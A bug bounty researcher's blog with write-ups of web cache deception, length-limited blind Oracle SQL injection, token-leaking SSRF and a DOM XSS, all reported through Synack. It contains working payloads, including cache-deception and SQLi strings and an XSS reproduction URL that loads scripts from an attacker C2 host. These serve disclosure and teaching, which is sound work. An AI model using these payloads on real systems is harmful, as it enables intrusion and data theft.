Posts on kuldeepdotexe's blog

Cache Deception Without Path Confusion

Fri, 29 Dec 2023 14:55:26 +0530

Hello readers,

Today, we’ll talk about a unique case of a cache deception vulnerability that I found in one of the Synack Red Team targets. I call this particular case of cache deception vulnerability unique because unlike the usual cache deception exploits, this exploit did not rely on path confusion.

Unlike my other blogs, I have decided to explain some of the basics in this one because the little details are fascinating!

Let’s break down the blog into smaller chunks so that we can take one bite at a time.

The Basics

Before going to the specifics of the vulnerability, I would like to elaborate more on the terminologies and techniques that we will use in this blog.

Path Confusion

Path confusions occur when the application is not configured properly to distinguish between different paths. In a nutshell— it is when two different paths are interpreted as the same path by the application. Similar to what happens in a hash collision.

Let’s take an example. Suppose you request the following URL:

https://kuldeep.io/account/billing

Everything is okay and you go to the billing page of your account. Now, you visit a second URL:

https://kuldeep.io/account/billing/nonexistent.js

In an ideal scenario, visiting this URL should result in a 404 Not Found because the JS file that we requested does not exist on the web server.

However, due to a misconfiguration in how the application processes paths/routes, the application takes you to the billing page of your account.

This is path confusion— two different paths interpreted as the same.

So many talks on a topic that I did not even use in my final exploit.

Web Caching

Processing webpages is a resource-intensive task. When you send a request to, for example, a server running PHP, the server runs the PHP code and provides you with the response.

This is useful in cases when you are working with dynamic data like user profile information or financial information. However, you do not want the server to process requests to the homepage, or a header/footer, or a static file because as we discussed earlier, it is a resource-intensive task.

Static files might not take that many resources as compared to the application code but the server still needs to process those requests one-by-one.

This problem can be solved using web caching.

Web caching is when a front-end server caches the response and serves it to the visitors of the website without relying on the back-end server. This can be explained with the following illustration:

When a response is served from the cache, you will likely see the following response headers indicating this:

X-Cache: HIT
X-CDN-Cache: HIT

A HIT means that the response is served from the cache. When it is the otherwise, you will see a MISS instead of HIT.

Please note that the response header names are likely to vary.

How does the front-end server know when to cache the request? It makes use of cache keys!

Cache Keys

Cache keys are a number of factors that determine whether or not the request will be cached. Usually, cache keys comprise the URL, the user agent, and the user region. Cache keys can be customized to cache based on specific conditions.

Different front-end servers have different mechanisms for configuring cache keys. Nevertheless, the basic concept stays the same.

Web Cache Deception

In the Web Caching section, we saw that the front-end server can be configured to cache specific responses. This raises a question— what if we cache responses that should not be cached?

Usually, only the static resources are cached. But if we could somehow cache the responses that contain sensitive data like cookies or session identifiers or JSON Web Tokens or PII, it would be awesome or scary depending on what side you are on.

Web Cache Deception attacks occur when an attacker forces the front-end server to cache sensitive data and then retrieve it from the cache.

Discovery

The very first step towards discovering a WCD vulnerability is to log in to the target application as a normal user and make notes of interesting endpoints.

What makes an endpoint interesting? Well, it highly depends on the nature of the application. For example, if it is a betting application, maybe knowing how many bets you have made might be interesting. If it is a banking application, most of the endpoints might be interesting because you do not want anyone to know your bank details. All-in-all, we can all agree that all endpoints that disclose PII are sensitive.

While doing this, make sure that the endpoints that you come across are using cookies as the authentication mechanism instead of bearer tokens. Why is this important will be covered in the exploitation section.

Once you have a vast list of interesting endpoints, you can check for path confusion misconfigurations. While doing this, check the response for cache-related headers to see if you see any cache HITs.

For this, I would suggest reading this awesome write-up by Bombon: https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9

If you see any cache HITs in the interesting endpoints, it can likely be exploited.

Why do we see cache HITs? Because front-end servers might be configured to cache JS files, CSS files, images, etc. And because we are using path confusion, the front-end server will treat it as a JS file or a CSS depending on what extension you chose. However, the backend server will treat it as a normal request because routing is misconfigured.

Exploit

Once you have found that an interesting endpoint is resulting in a cache HIT, it is time to craft the exploit.

Let’s assume that we have found that [https://kuldeep.io/account/billing/nonexistent.js](https://kuldeep.io/account/billing/nonexistent.js) results in a cache HIT. We have also confirmed that the web application is using cookies as the authentication mechanism. Let’s convert this to an exploit.

Send this URL to the victim: https://kuldeep.io/account/billing/nonexistent.js
Once the victim visits the URL from his/her authenticated session, the backend server will respond with the billing information. The front-end server will cache the response because it believes that the response is coming from a JS file and JS files should be cached.
The attacker will retrieve the billing information by visiting the https://kuldeep.io/account/billing/nonexistent.js URL. Because the response has been cached, the attacker will receive a cached copy from the front-end server. This cached copy includes all the billing information of the victim.

Here, if the application used bearer tokens, we cannot exploit this by simply sending the URL to the victim. It would require an XSS to exploit. And if you already have an XSS, there is no point exploiting WCD.

Limitations

WCD will not work if the user isn’t logged in.
It will not work if the application is using bearer tokens as the authentication mechanism.
In some configurations, the cache will only be served if you are in the same region as the victim.
If you accidentally visit the URL that you sent to the victim, the victim will receive the cached copy instead of you.
Even if you get the victim to cache his/her response, the cache may get invalidated after a few seconds or minutes.

Now that we have covered the basics, let’s move to the WCD vulnerability that I found in one of the Synack targets.

WCD On A Synack Target

Initial Observations

I was onboarded to a target where some SRTs had already submitted some vulnerabilities like information disclosures and a few access controls.

I connected to the target and started traversing the application like a normal user. Wherever possible, I was checking for SQL injections. While doing this, I noticed the static files were served from a GraphQL API. This was unusual.

I checked what API the application used for dynamic data. To my surprise, it used the same GraphQL API for both, static and dynamic data.

To retrieve static content, the application used a URL like this:

/ui-gateway/v1/graphql?query=query{somequery{someattribute}}&reqIdentifier=someReqIdentifier

In the response header, I noticed that the responses were being cached. I came to this conclusion by seeing the following headers:

X-Served-By: cache-iad-somethingrandom-IAD
X-Cache: HIT
X-Cache-Hits: 1

To retrieve dynamic content, the application sent a POST request to the GraphQL API. Unlike the GET requests, the POST requests did not get cached.

I thought about converting the POST requests to GET requests to see if they got cached. For this, I used an interesting query that is as follows:

query {
  userDetails {
    authStatus {
      authType
      email
      firstName
      lastName
      roles
      userId
      userLogin
      birthDate
      isUnderAgeUser
    }
    geoLocation
  }
}

This query returns the PII of the currently logged-in user.

I converted it to a GET request. The final URL looked like this:

/ui-gateway/v1/graphql?query=query{userDetails{authStatus{authType email firstName lastName roles userId userLogin birthDate isUnderAgeUser}geoLocation}}

Excited to see the results, I visited the URL from the browser and checked if the response was cached. Sadly, it was not cached. I could not see any cache HITs.

This made me wonder, how are requests to static queries being cached while dynamic queries aren’t. I sent both of the requests to Burp Suite comparer to see if any special headers determined if the request was cached.

While doing this, I found a crucial parameter that I had overlooked. The reqIdentifier parameter.

The reqIdentifier parameter determined if the request would be cached or not. It was in the cache key. If two requests have the same reqIdentifier parameter, they would be treated as the same requests by the front-end server.

Crafting The Exploit

Now that I had a way to get sensitive information cached, I just had to craft an exploit. A malicious URL that I would send to the victim to get his/her PII cached.

I used the previous userDetails query that I had used in a GET request and appended the reqIdentifier parameter. Sending this parameter made sure that the request will be cached.

The final exploit URL looked like this:

/ui-gateway/v1/graphql?query=query{userDetails{authStatus{authType email firstName lastName roles userId userLogin birthDate isUnderAgeUser}geoLocation}}&reqIdentifier=exploitMe

For a proof-of-concept, I opened two browser windows. One was with a logged-in session (victim session), and the other was an incognito window (attacker session).

I opened the exploit URL from the logged-in session. This made sure that the PII was cached by the front-end server. By visiting the URL just once, the front-end server cached the response.

I then opened the same URL from the incognito window and I was greeted with the victim account’s PII. This way, without any sort of authentication, I was able to access a victim account’s confidential details.

I created an easy-to-follow PoC for this exploit and sent it to Synack. And they happily accepted the vulnerability.

Thank you for reading. If you have any queries or doubts, feel free to ping me on X, Instagram, or LinkedIn.

References And Further Reading

Happy Hacking! :)

Defeating Length Filters to Dump the Database - SQLi

Wed, 06 Dec 2023 20:39:44 +0530

Hello, hackers!

Most SQL injections I find are very trivial and do not require a separate blog post.

However, this particular SQL injection was far from being straightforward. It required me to work more than 13 hours to successfully dump the database. Although some of the tricks that I used for this SQL injection are not new and can be found with a bit of Google search, I learned them the hard way.

This blog post aims to share with the community what I learned along the way. I will cover my entire thought process and journey from detection to full exploitation of the SQL injection. I hope this walkthrough will be helpful to someone who encounters a similar challenge.

For convenience’s sake, this blog will be organized into sections.

Strap in for an in-depth look at SQL injections and the methods used.

Discovery

A new target was onboarded to me on the Synack Red Team platform. However, it was an old target launched under a new name. No surprise there.

While this target was previously onboarded, I sent a few SQLis. Because of this, I was certain that I could find more SQLis this time.

As usual, I browsed the application like a normal user and checked the requests that the application sent. I tested each request manually for SQL injections.

The “manual testing” part for me is mostly injecting special characters into different parameters and observing the behavior of the application.

While testing for SQL injection on a particular request, I noticed the following behavior:

Payload	Response Length
	422k Bytes
'	33k Bytes
‘– -	33k Bytes
‘)– -	422k Bytes

Note: The first value is nothing. It is the normal response the application would send.

This was intriguing behavior. It looked like a potential SQL injection. I tried a few more SQLi payloads, but I couldn’t find the right payload for it.

Running SQLMap And Discovering The Balanced Query

To find the correct query, I sent the request to SQLMap. SQLMap successfully discovered the SQL injection and gave me the query that would give me a boolean response.

It gave me the following payload:

123' AND (SELECT (CASE WHEN (4747=4747) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,4747) END) FROM DUAL) IS NULL OR 'iTjZ'='tEus

Payload Explanation

SELECT (...) FROM DUAL: This is just a simple SELECT query that encapsulates the underlying CASE...WHEN statement.
CASE WHEN (condition) THEN <true statement> ELSE <false statement> END: This section is the most important as CASE...WHEN will execute a true or false statement based on the condition. It is similar to the classic if…else in different programming languages.
4747=4747: This is an always true condition as 4747 is always equal to 4747.
CTXSYS.DRITHSX.SN(1,4747): This is a function call to an internal Oracle DBMS function. I could not find much documentation about the function. But in this payload, this function should respond with an error message.

So, the payload checks if 4747 is equal to 4747 (which is true) then it selects NULL and compares NULL with NULL (which is also true). This will result in a true response.

If we wanted to receive a false response, we would replace 4747=4747 with 4747=4848.

I now had a working payload. I tried to enumerate the databases using SQLMap. However, SQLMap failed to enumerate the databases.

I was not surprised by this behavior because, during my initial enumeration, I noticed that the server correctly filtered out some characters. These characters included but were not limited to the following:

Due to these character filters, SQLMap was unable to enumerate the databases. I decided to do the database dumping by hand.

I simplified the SQLMap’s payload to the following:

123' AND (
    SELECT (
    	CASE
        	WHEN (1=1) THEN NULL
        	ELSE 1/0
    	END
    ) FROM DUAL
) IS NULL OR '1'='1

Discovering Length Filter

After doing a little back and forth with the payloads, I realized that some payloads were not acting as they should be.

For example, the following payload resulted in a 302 Found response rather than a 200 OK response:

123' AND (
    SELECT (
    	CASE
        	WHEN (12345678901234567890=12345678901234567890) THEN NULL
        	ELSE 1/0
    	END
    ) FROM DUAL
) IS NULL OR '1'='1

Although they are both the same numbers, the server was resulting in a 302 Found response. Usually, the server responded in a 302 Found response when we sent a character that the server was filtering.

However, we did not send any bad characters in this payload. The 1=1 payload was found to be working previously.

I changed the condition from 12345678901234567890=12345678901234567890 to 1234567890=1234567890 and the server returned 200 OK with a true response.

This was evident that something weird happened when we sent a large payload. There must be some sort of length filter on the backend that prevents us from sending long payloads.

After adding one character at a time, I figured out that if we send any more characters than 120, the server would not process the request and we would receive a 302 Found response. Whatever payload we use must be less than or equal to 120 characters.

I tried to see ways in which I could shorten the payload. I learned that we can replace NULL with 1 in the payload and it will work just fine. The resulting shorter payload was:

' AND (
	SELECT (
		CASE
			WHEN (1=1) THEN 1
			ELSE 1/0
		END
	) FROM DUAL
)=1 OR '1'='1

We moved from requiring 86 characters to 74 characters! Excellent!

I suspected that the SELECT statement around the CASE...WHEN statement was necessary. I tried removing it and it turns out that it was optional! We can directly use CASE...WHEN without wrapping it using SELECT. Our payload was even shorter now.

' AND (
	CASE
		WHEN (1=2) THEN 1
		ELSE 1/0
	END
)=1 OR '1'='1

This payload was merely 55 characters long!

Dumping The Database Name

It was now time to enumerate the database names. My strategy to dump the database name was as follows:

Find out the length of the current database name. We will refer to the length of the database as len.
Use a substring payload where the SUBSTR() function starts from the first character of the database and goes till len.
Enumerate one character at a time.

To determine the database length, I used the following payload:

' AND (
	CASE
		WHEN ((SELECT LENGTH(SYS.DATABASE_NAME) FROM DUAL)>0) THEN 1
		ELSE 1/0
	END
)=1 OR '1'='1

The above payload checks if the length of the current database name is greater than 0. This is true for any database name. Hence, we get a true response.

By increasing one number at a time, we get to know that the database name is exactly 6 characters long.

To dump the database name, I used a SUBSTR() payload that looks like this:

' AND (
	CASE
		WHEN ((SELECT ASCII(SUBSTR(SYS.DATABASE_NAME,1,1)) FROM DUAL)>0) THEN 1
		ELSE 1/0
	END
)=1 OR '1'='1

Payload Explanation

SUBSTR(SYS.DATABASE_NAME,1,1): This part returns the very first character of the database name.
ASCII(...): This function converts the first character of the database name to its corresponding ASCII value.
ASCII(SUBSTR(...))>0: This part checks if the ASCII value of the first character is greater than 0 (which is always true unless the server uses Unicode database names).

In theory, we can keep increasing from 0 to up to 127. However, valid database names start after 45 (ASCII value of -) and go up to 122 (ASCII value of lowercase z).

I did the brute force for each character and found out the database name to be “SYNACK” (obviously fake because I will not reveal client details).

Dumping The Table Name

Now that we know the database name, it was our turn to dump the table names. Using PayloadsAllTheThings, I came across the following query:

SELECT table_name FROM all_tables

However, this query would return multiple rows in the response. Using our technique, we can only dump one row and one column, one character at a time. It is very slow but this is the best that we have got.

Following the PayloadsAllTheThings page, I knew that we could use the ROWNUM pseudo-column to filter from the number of rows returned by the query. Incorporating this into our payload, this was our payload that finds the length of the first table from the all_tables view:

' AND (
	CASE
		WHEN ((SELECT LENGTH(table_name,1,1) FROM all_tables WHERE ROWNUM=1)=0) THEN 1
		ELSE 1/0
	END
)=1 OR '1'='1

Increasing the number, I found out that the table was 4 characters long.

After using a SUBSTR() payload, I discovered the table name was “DUAL”. :/ For a practical proof-of-concept, we will need a table that is not a system table. It should contain some client data.

I changed from ROWNUM=1 to ROWNUM=2 in the hope that it would give me the next row. However, in Oracle, the ROWNUM pseudo-column works in an unexpected way. We cannot directly provide a row number apart from ROWNUM=1.

Finding A Way To Use Limits And Offsets

We had to find a different solution that would limit the number of rows returned by the SQL query. MySQL has LIMIT and OFFSET statements that can be used to limit the number of rows. I knew a little about Oracle limits. Upon doing further Google searches, I found out that we need to use OFFSET...FETCH statements if we wish to limit the results.

An example usage would be like this:

' AND (
	CASE
		WHEN ((SELECT LENGTH(table_name,1,1) FROM all_tables OFFSET 1 ROWS FETCH NEXT 1 ROWS ONLY)=0) THEN 1
		ELSE 1/0
	END
)=1 OR '1'='1

However, this payload would exceed our maximum limit of 120 characters. :(

Finding The Shortest Possible Payload

I shifted my focus toward crafting the shortest payload that would give me a boolean response. I played around with the payload a bit and I discovered that in some places, spaces were optional. We could eliminate spaces!

For example, consider the following CASE...WHEN payload

CASE WHEN (1=1) THEN 1 ELSE 1/0 END -- 35 characters

This can be rewritten to eliminate spaces like this:

CASE WHEN(1=1)THEN 1ELSE 1/0END -- 31 characters

Considering this in mind, I crafted the shortest possible payload that provided me with a boolean response as:

'AND(CASE WHEN(1=1)THEN 1ELSE 1/0END)=1OR'1'='1 -- 47 characters

By doing this, we effectively moved from 86 characters to 47 characters. This was a massive improvement!

Successfully Dumping Table Names

With our refined payload and using offsets, I went on to dump the table names. I skipped the first table that was “DUAL” and started dumping the second table name. To do this, I used the following payload:

'AND(CASE WHEN((SELECT table_name FROM all_tables OFFSET 1 ROWS FETCH NEXT 1 ROWS ONLY)>'A')THEN 1ELSE 1/0END)=1OR'1'='1 -- 120 characters

Using this payload, I dumped the first three characters from the table name that was “SYS”. After dumping the third character, the payload becomes exactly 120 characters long and we cannot dump any further.

I found a workaround for this by using the LIKE statement and eliminating offsets and limits. Here is the payload that I used:

'AND(CASE WHEN((SELECT COUNT(*) FROM all_tables WHERE table_name LIKE 'SYS_______')>0)THEN 1ELSE 1/0END)=1OR'1'='1 -- 114 characters

Enumerating the table name one character at a time, I found that the table name was “SYSTEMTBL$”. I could not enumerate the last $ character because it was a bad character. However, I googled the table name and found out that it was also a system table and the table name ended with a $.

I tried to play around with the offset values to enumerate more table names but almost all of them turned out to be system tables.

To find a table that was not a system table, I did some guesswork. As I mentioned earlier in the blog, this application was a retest. I had already sent plenty of SQLis on this application. Due to this, I was fortunate enough to know the naming convention of the tables. I knew the table names had the following prefix: “SYN_”.

I crafted a payload to check for tables that had the “SYN_” prefix. The payload looked like this:

'AND(CASE WHEN((SELECT COUNT(*) FROM all_tables WHERE table_name LIKE 'SYN____')=1)THEN 1ELSE 1/0END)=1OR'1'='1 -- 111 characters

This payload was successful and I enumerated the table name to be “SYN_NEW”.

Guessing Column Names

Next up, we had to enumerate the column names from the “SYN_NEW” table. For this, I tried to craft a payload like this:

'AND(CASE WHEN((SELECT OWNER FROM all_tab_columns WHERE table_name='SYN_NEW'ANDROWNUM=1)>0)THEN 1ELSE 1/0END)=1OR'1'='1 -- 119 characters

However, this payload would not work. The (SELECT OWNER FROM all_tab_columns WHERE table_name='SYN_NEW'ANDROWNUM=1) subquery returns a string and we must compare it with a string to get a meaningful result. Even if we try to compare it with the ASCII value of the first character, we would be limited to enumerating the first character of the column name. We had just enough space to fit a single character.

I could not think of anything from here. So, I decided to brute force the column names. To perform the brute force, I used the following payload:

'AND(CASE WHEN((SELECT LENGTH(§test§) FROM SYN_NEW OFFSET 1ROWS FETCH NEXT 1ROWS ONLY)>0)THEN 1ELSE 1/0END)=1OR'1'='1 -- 115 characters

I brute-forced using the burp-parameter-names.txt wordlist.

And quickly enough, I found one column “user”.

Dumping The Rows

From here, the database dump was quite easy, I just used the following payload to dump one row at a time:

'AND(CASE WHEN((SELECT user FROM SYN_NEW OFFSET 1ROW FETCH NEXT 1ROW ONLY)>'SYN')THEN 1ELSE 1/0END)=1OR'1'=' -- 108 characters

I enumerated the first row to be “SYN_WAS”. To confirm that what we dumped was indeed a valid row and was not a fluke, I used the following payload:

'AND(CASE WHEN((SELECT user FROM SYN_NEW OFFSET 1ROW FETCH NEXT 1ROW ONLY)='SYN_WAS')THEN 1ELSE 1/0END)=1OR'1'=' -- 112 characters

If you change from “SYN_WAS” to something else like “SYN_WAR”, the application will send a false response. Confirming that our row dump is valid.

Sent the report to Synack and they happily accepted the findings!

Takeaways

Keep taking notes of your vulnerabilities. You never know when they will become useful.
Bug bounties are often luck paired with hard work. If I had not found the SQL injections on this target in the past, I would never have guessed what naming structure the table names follow.

I love doing technical discussions with the community! If you have a question about anything related to infosec, feel free to send me a DM on my Twitter/Instagram/LinkedIn.

EOF

Escalating Privileges With SSRF

Thu, 20 Jul 2023 20:58:53 +0530

Hello again, folks!

This post is regarding my recent findings on Synack Red Team which consisted of a total of 4 SSRF vulnerabilities. Three of them were authenticated SSRFs and the last was a fully unauthenticated SSRF.

If you follow me on Twitter, you must have seen my post regarding this.

The finding is pretty straightforward. I can explain it in fewer lines but I want to explain my stepwise thought process to finding this specific vulnerability. I want to do this because the target was live for a total of 11 hours and 47 minutes before I reported the vulnerability, and surprisingly no one else reported it despite the relatively small attack surface.

To the blog now,

I was onboarded to the target at 01:31 AM at night. I was obviously sleeping. After waking up, I realized there was a new API target. So I hopped onto my machine.

I prepared the testing environment by loading the Postman collection and Postman environment files into Postman. I then started Burp Suite in order to view and manipulate the requests.

Application Overview

There were different services running on each sub-collection. By manually checking each request, I found out that there were a total of 5 services that were actually performing some sort of operation. The other collections are for authentication and other purposes.

The 5 services that were running included:

XXXIntegration
AssetManagement
Billing
CustomerManagement
OLS

To access any of these services, you require a service-specific access token. For example, if you want to access the Billing service, you must have a Billing access token. If you have an AssetManagement access token, it will not work for the Billing service and vice versa.

I obtained an access token for the AssetManagement service. I set the access token in the Postman environment in order to for the testing process to work properly. And I started exploring various requests.

Initial Discovery

By manually testing each request on a one-by-one basis, I came across the XXXService - /xxxevent request.

The request looked like this:

POST /api/xxx/xxxevent HTTP/1.1
Content-Type: application/json
Authorization: Bearer redacted
Host: AssetManagement-service-host
Content-Length: 507
{
  "event_id": "redacted",
  "event_type": "redacted",
  "event_time": "2022-07-06T14:55:00.00Z",
  "correlation_id" : "redacted",
  "payload": {
    "urls": [
      {
        "url_type": "XXXIntegration",
        "url": "https://XXXIntegration-service-host/api/xxxhistory/xxx/1234"
      }     
    ]
  }
}

Here is the explanation for each parameter:

Parameter	Explanation
`event_id`	This is a UUID for a particular event.
`event_type`	Set to “public” by default in the collection. Most probably, this identifies if the event is public or private.
`event_time`	Describes the time of the event.
`url_type`	This is set to `XXXIntegration` showing that the `XXXIntegration` service is being requested.
`url`	This is the parameter of utmost interest, as this specifies an `XXXIntegration` service URL to fetch data. A user can modify this parameter to hold any arbitrary URL and the API will send requests to that URL

The response to this request showed no interesting behavior as it was just a 500 Internal Server Error page without any verbose errors.

I started testing this request by providing it with a Synack Burp Collaborator URL. And, to my surprise, it actually sent me an HTTP request.

Initial Assumption and Its Limitations

Just like you, I also noticed the authorization token in the request. But at the time of testing, I assumed this was my own authorization token. I believed the server forwarded parts of my request to the URL provided as the url parameter.

This kind of behavior has almost no impact on its own because stealing our own bearer token yields nothing. It must be chained with some other attack like CSRF in order to exploit other users. For example, it can be exploited when you make the victim send a request to an attacker-controlled domain.

Bypassing The Blacklist To Achieve A Partial SSRF

I ignored this behavior and started checking if I can do a local port scan for it to be eligible for a partial SSRF. I tried to make the API send a request to localhost but the API had a blacklist in place for such payloads. I tried a handful of payloads like:

localhost
127.0.0.1
0.0.0.0
127.1

But as expected, all were being filtered by the API.

This API was allowing requests to arbitrary domains so I thought to try a domain name that resolved to 127.0.0.1. So, I tried it again with the localtest.me domain and it successfully bypassed the blacklist. I confirmed that it bypassed the blacklist by the 500 Internal Server Error response. Normally, if the API filtered the payload, it sent a 403 Forbidden response.

API normally:

API when I use localtest.me:

Now, all I had to do was create a local port scan PoC and submit it as a partial SSRF. However, I decided to escalate this issue in order for a better payout. I kept this vulnerability aside and started checking other functionalities that could potentially be used to exploit the SSRF.

Attempting To Understand JWT

At random, a thought clicked in my brain. I wanted to confirm if the bearer token that I received in the collaborator indeed belonged to me. I later confirmed that the bearer token in the collaborator was different from the one that I had in my request.

I used jwt.io to decode both the tokens and compared them side by side. And this comparison further confirmed my belief that both the tokens are different. I will not show a screenshot of this for obvious reasons.

Even after confirming that the token is from a different user/service, I still had no idea where this token was being used. I thought to fuzz all API endpoints of all services with this bearer token to see if any of them respond with a 200 OK or even anything apart from 401 Unauthorized.

Finding Services To Use The JWT

As usual, I got lazy and started looking for alternatives to fuzzing. Also, fuzzing must be the last resort in this situation because there were endpoints that performed different CRUD operations. Any wrong request can break the API.

After checking each request manually for a while, a thought randomly clicked in my brain, once again. Let’s revisit our vulnerable request:

{
	"url_type": "XXXIntegration",
	"url": "https://XXXIntegration-service-host/api/xxxhistory/xxx/1234"
}

Here, XXXIntegration specifies that we are requesting the XXXIntegration service. If you notice, the XXXIntegration service is there in the 5 services that I listed at the start of the blog. And the XXXIntegration-service-host is a host for the same service.

So, my hypothesis was that if the original request was being sent to the XXXIntegration-service-host host, then this access token must also belong to the same service.

To confirm this theory, I copied the authorization token received in the collaborator and pasted it into the health check endpoint of the XXXIntegration-service-host host. The health check endpoint was the perfect to test for this. The reason behind this is that it returned a 401 Unauthorized response if the credentials are invalid and a 200 OK response if the credentials are valid.

After setting the authorization token, I successfully received a 200 OK. This confirmed that the token that was leaked in collaborator belonged to the XXXIntegration service.

Before setting the authorization token:

After setting the authorization token leaked in the collaborator:

This proved that the authorization token can be used to interact with the XXXIntegration service. However, just to make sure that it can not be accessed with any valid access token, I sent a request to the health check endpoint of the XXXIntegration service with an access token for the AssetManagement service. This failed because the application had proper access control checks in place.

Also, I later confirmed that we can exfiltrate an access token of ANY service by specifying the service name in the url_type parameter. If you replace XXXIntegration with Billing in the vulnerable request, the collaborator request will yield a Billing service access token.

Now we have everything we need to craft a full SSRF report.

A request to an arbitrary URL
API leaking access token of another service
Privilege escalation using the access token

Finding Even More (Scarier) SSRFs

I started writing a report on this issue. But I accidentally closed all my tabs in Postman. I used the “filter” option in Postman to search for the “event” keyword hoping to find the vulnerable endpoint. But instead, I was greeted with 9 such endpoints that ended with “event”. I checked all of them and found out that all of them were vulnerable.

Now, instead of writing one report, I had to write 4 different reports. I wrote the first three reports. And then moved on to the next and final report. This is where I was so shocked that I could not believe what I was seeing.

The last endpoint was accessible without any sort of authentication. The request to it looked like this:

POST /api/xxx/xxxevent HTTP/1.1
Content-Type: application/json
Host: CustomerManagement-service-host
Content-Length: 622

{
	"event_id": "redacted",
	"event_type": "redacted",
	"event_time": "2022-08-30T09:00:00.0000000Z",
	"correlation_id": "redacted",
	"payload": {
		"urls": [
      {
        "url_type": "CustomerManagement",
        "url": "https://CustomerManagement-service-host/api/xxx/customer/1234"
      },
			{
				"url_type": "XXXIntegration",
				"url": "https://XXXIntegration-service-host/api/xxxhistory/xxx/1234"
			}
		]
	}
}

Any form of authentication was not required to access this endpoint. So, it allowed a remote unauthenticated attacker to obtain valid authorization tokens for different services. All an attacker has to do is tell the server about the service he/she wants to interact with and a URL to send the authenticated access token. The server will send the credentials without asking for anything. It’s that simple. And it’s that scary.

Sent all four reports to Synack and they accepted them happily with a generous bounty amount.

Conclusion/Takeaways

Manually check for small details/anomalies. This may or may not lead to vulnerabilities. But it can certainly help you escalate the severity of the issue.
Always try to increase the severity of your finding. Never settle for a lower severity vulnerability. Take the help of your fellow hackers if you need to.

I work full-time as a bug bounty hunter mostly hacking in Synack Red Team (SRT). If you’re interested in becoming a part of the Synack Red Team, feel free to connect with me on Twitter, Instagram, or LinkedIn. I’m always happy to offer guidance to fellow cybersecurity enthusiasts.

EOF

Full Disclosure - DOM-based XSS And Failures In Bug Bounty Hunting

Thu, 06 Jul 2023 14:33:00 +0530

Hello, folks!

A few days ago, I shared a post on Twitter about a mistake I made while doing bug bounties. This post is about the same mistake and a bonus mistake.

While scrolling on LinkedIn/Twitter/Instagram it is easy to get overwhelmed by looking at other people posting their bounties. There are two ways to look at this: 1. either get encouraged to hack looking at other people’s success or 2. get discouraged and feel bad about you not finding enough vulnerabilities yourself. It is up to us to look at the positive side, take it as inspiration and start working to post similar bounties ourselves.

However, while doing so, it is not guaranteed to find success 100% of the time. Whether you just started hacking or are a seasoned hacker, there will always be challenges.

This time, I found myself in a similar situation. I was hunting on a target for around 6+ hours and found a DOM-based XSS. I escalated it to one-click account takeover. After reporting the issue, I found out that particular domain was out-of-scope.

I spent 1+ hours on crafting the perfect report for this vulnerability but in the end, it didn’t matter. So, I decided to share it in a blog because I’m proud of my report.

After that, I moved on to the next “in-scope” domain. I found a static HTML file and suspected there might be a CSS injection vulnerability. Detailed findings are shown below.

Findings:

1. DOM XSS In `REDACTED.example.com` Due To Insecure Dynamic Resource Loading Via `eUrl` Parameter

Summary:

The URL at https://REDACTED.example.com/v2/xxx-login.asp loads static resources dynamically using the eUrl parameter that leads to DOM based XSS allowing for a one-click full account takeover.

Introduction:

DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.

Description:

The page in focus https://REDACTED.example.com/v2/xxx-login.asp facilitates login functionality using the SSO. It takes the following parameters in input:

Parameter	Working
`action`	Set to either `login` or `register` depending on what user chooses
`env`	Set to `REDACTED-prod` suggesting this is the production environment
`eUrl`	This is the most important parameter as it specifies the location to load static resources from
`userType`	This specifies the user type. By the normal application flow, this is set to `PARTNER`
`REDACTEDLookupCode`	I’m not entirely sure what this does
`REDACTEDName`	Set to empty using the normal application flow so I believe it is not much important
`ssolang`	Language for the SSO. Set to `en` by default
`REDACTEDUrl`	Again, not entirely sure what this does but doesn’t affect the outcome
`dossologin`	This is a boolean parameter which is either set to `true` or `false`. It is set to `true` in the case of SSO login

Here, the parameter of utmost importance is the eUrl parameter. As it is used to dynamically generate content.

From the source code, we can see that among the below shown lines, the vulnerability exists:

var eUrl = decodeURIComponent(urlObj.searchParams.get('eUrl'));

var elementStyleTag = document.createElement('link');
elementStyleTag.setAttribute('rel', 'stylesheet');
elementStyleTag.setAttribute('href', eUrl + '/styles.css');
document.head.appendChild(elementStyleTag);

       $(document).ready(function() {
            kendo.ui.progress($("body"), true);
            $.getScript({
                url: eUrl + '/deployment/env/' + env + '.config.js',
                cache: true
            }, function () {
                $.getScript({
                    url: eUrl + '/keycloak.js',
                    cache: true
                }, function () {
...
// Rest of the code

Here is the breakdown of the code:

var eUrl = decodeURIComponent(urlObj.searchParams.get('eUrl'));

This line retrieves the eUrl parameter from the urlObj, decodes it using decodeURIComponent(), and assigns it to the eUrl variable.

var elementStyleTag = document.createElement('link');
elementStyleTag.setAttribute('rel', 'stylesheet');
elementStyleTag.setAttribute('href', eUrl + '/styles.css');
document.head.appendChild(elementStyleTag);

These lines create a new link element, set its rel attribute to “stylesheet”, set its href attribute to the URL of the stylesheet (which is formed by appending ‘/styles.css’ to eUrl), and append this element to the head of the document.

$(document).ready(function() {
    kendo.ui.progress($("body"), true);
    $.getScript({
        url: eUrl + '/deployment/env/' + env + '.config.js',
        cache: true
    }, function () {
        $.getScript({
            url: eUrl + '/keycloak.js',
            cache: true
        }, function () {
...
// Rest of the code

In this block, jQuery is set to execute when the document is ready. It displays a loading animation and uses the getScript() function to fetch and execute two JavaScript files from URLs built using the user-provided eUrl.

The vulnerability here lies in the way eUrl is used. Since this value comes from the user and is not validated or sanitized before use, an attacker could manipulate this value to point to a malicious script on a different server. When the jQuery getScript() function fetches and executes this script, it would run in the context of the user’s session, leading to a DOM-based Cross-Site Scripting (XSS) attack.

Furthermore, HTTPOnly flag is not used for the ASPSESSIONID cookie which acts as a session cookie. This allows a remote unauthenticated attacker to perform single-click account takeovers.

Steps To Reproduce:

To later validate access to session cookies, first visit the following URL: https://REDACTED.example.com/login.asp. This will set the ASPSESSIONID cookie. This step is optional and its only purpose is to set cookies.
Visit the following URL: https://REDACTED.example.com/v2/xxx-login.asp?action=login&env=REDACTED-prod&eUrl=https://MY_C2_SERVER/&userType=PARTNER&REDACTEDLookupCode=REDACTED.example.com&REDACTEDName=&ssolang=en&REDACTEDUrl=https://REDACTED.example.com/login.asp&dossologin=true
